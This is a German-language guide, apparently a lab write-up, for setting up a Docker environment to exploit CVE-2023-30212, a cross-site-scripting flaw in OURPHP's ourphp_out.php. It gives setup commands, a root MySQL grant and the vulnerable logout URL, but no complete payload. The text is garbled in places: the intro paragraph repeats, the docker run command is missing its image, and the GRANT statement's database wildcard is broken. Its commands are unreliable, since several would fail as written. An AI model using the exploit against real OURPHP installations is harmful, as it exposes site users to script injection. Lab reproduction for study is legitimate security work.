
Docker-Umgebung und Ausnutzung der Schwachstelle CVE-2023-30212. CVE-2023-30212 ist eine Sicherheitslücke, die Versionen von OURPHP bis einschließlich 7.2.0 betrifft. Diese Schwachstelle ermöglicht Cross-Site-Scripting-Angriffe (XSS).
Docker-Umgebung und Ausnutzung der Schwachstelle CVE-2023-30212. CVE-2023-30212 ist eine Sicherheitslücke, die Versionen von OURPHP bis einschließlich 7.2.0 betrifft. Diese Schwachstelle ermöglicht Cross-Site-Scripting-Angriffe (XSS)
OURPHP <= 7.2.0 ist anfällig für Cross-Site-Scripting (XSS) über /client/manage/ourphp_out.php
Dockerfile herunterladen und entpacken
https://down.chinaz.com/api/index/download?id=51308&type=code
Exploit für CVE-2023-30212 herunterladen
Öffnen Sie das Terminal in dem Ordner, in dem Sie das Dockerfile gespeichert haben
Installieren Sie die Docker-Maschine
sudo apt update
sudo apt install docker.io
Erstellen Sie ein Docker-Image
docker run -d -p < Docker image id>
Überprüfen Sie das Docker-Image
docker ps
Rufen Sie eine neue Container-ID ab
bb18debddccc test "docker-php-entrypoi…" 4 minutes ago Up 4 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp angry_turing
Führen Sie eine interaktive Bash-Sitzung in einem laufenden Docker-Container aus
docker exec -it bb18debddccc /bin/bash
*Docker-Shell abrufen
> root@bb18debddccc:/var/www/html#
MySQL-Datenbank einrichten
root@bb18debddccc:/var/www/html# mysql
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 10.3.38-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
MySQL oder MariaDB, um alle Berechtigungen zu erteilen
GRANT ALL PRIVILEGES ON . TO ' user account'@'localhost' IDENTIFIED BY 'user password' WITH GRANT OPTION;
Dies ist ein SQL-Befehl, der typischerweise in einem Datenbankverwaltungssystem wie MySQL oder MariaDB verwendet wird, um dem Benutzer 'root' alle Berechtigungen für alle Datenbanken und Tabellen im aktuellen System zu erteilen.
Url: http://localhost:8080/client/manage/ourphp_out.php?ourphp_admin=logout&out=)